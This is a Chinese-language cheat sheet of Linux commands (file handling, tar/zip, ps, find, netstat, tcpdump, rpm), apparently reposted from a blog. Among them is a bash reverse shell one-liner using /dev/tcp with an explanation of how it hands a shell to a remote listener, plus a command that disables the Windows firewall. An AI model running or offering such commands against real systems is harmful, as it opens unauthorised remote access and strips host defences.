basic命令
touch 新建文件 mkdir新建文件夹 rmdir 删除文件夹 rm - 删除文件
-r 递归 -f 强制
>1.txt 定向到文件中(覆盖) >>追加到文件中
tar -cvf filename.tar filename1 filename2 ... (打包命令)
tar -xvf filename.tar dirname(解包命令)
unzip filename.zip(解压)
zip -r(递归打包,否则只有文件夹) filename.zip dirname(压缩)
Wordcount wc 统计文件多少个字用 --line统计多少行
ls - l 列表 -a 所有 -t时间 -r倒叙(小到大,早到晚) -R(大到小,晚到早)
ps命令 -a 显示所有进程 -c 显示进程的真实名称 -f 显示程序间的关系 -u 指定用户的所有进程 -e 显示环境变量 -aux 显示所有包含其他使用者的进程
命令查看内存前N个
ps -aux | sort -k4nr | head -N
命令详解:
1、head:-N可以指定显示的行数,默认显示10行。
2、ps:参数a指代all——所有的进程,u指代userid——执行该进程的用户id,x指代显示所有程序,不以终端机来区分。
在/目录下查找文件名
find / -name flag
linux 下查看进程占用端口:
(1)查看程序对应的进程号: ps -ef | grep 进程名字
(2)查看进程号所占用的端口号: netstat -nltp | grep 进程号
ubuntu :查看进程占用端口号:netstat -anp | grep pid
bash -i >& /dev/tcp/192.168.1.1/9999 0>&1
bash -i代表在本地打开一个bash
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,
就会接收到这个bash的标准输出和标准错误输出,这个时候我们在本机CentOS输入命令,输出以及错误输出的内容就会被传递显示到远程。0表示标准输入 1标准输出 2标准错误输出
uname -r 显示操作系统的发行版号
4.8.0-58-generic
4为主版本,8为次版本,0为次版本修改次数,58是内核编译次数
tcpdump -i 网卡 port 端口号 监听端口数据
ctrl + d 退出shell ctl + l 清屏 ctrl + z 挂起
Ln -s 源文件名 软连接名 建立软连接
Ln 源文件名 硬连接名 建立硬连接
防火墙规则:
关闭防火墙
netsh advfirewall set allprofiles state off
重启网络
service NetworkManager restart
RPM查询软件信息
查询已安装软件的信息
-q:仅查询,后面接的软件名称是否有安装;
-qa:列出所有的,已经安装在本机linux系统上面的所有软件名称;
-ql:列出该软件所有的文件与目录所在的完整文件名(list);
-qR:列出与该软件有关的相依团建所含的文件(Required的意思)
RPM安装软件信息
-i:安装指定的.rpm文件
-v: 查看更细部的安装信息画面
-h: 以安装信息列表显示安装进度
-U:用指定的.rpm文件的升级同名包
原文:https://www.cnblogs.com/pass-A/p/11132330.html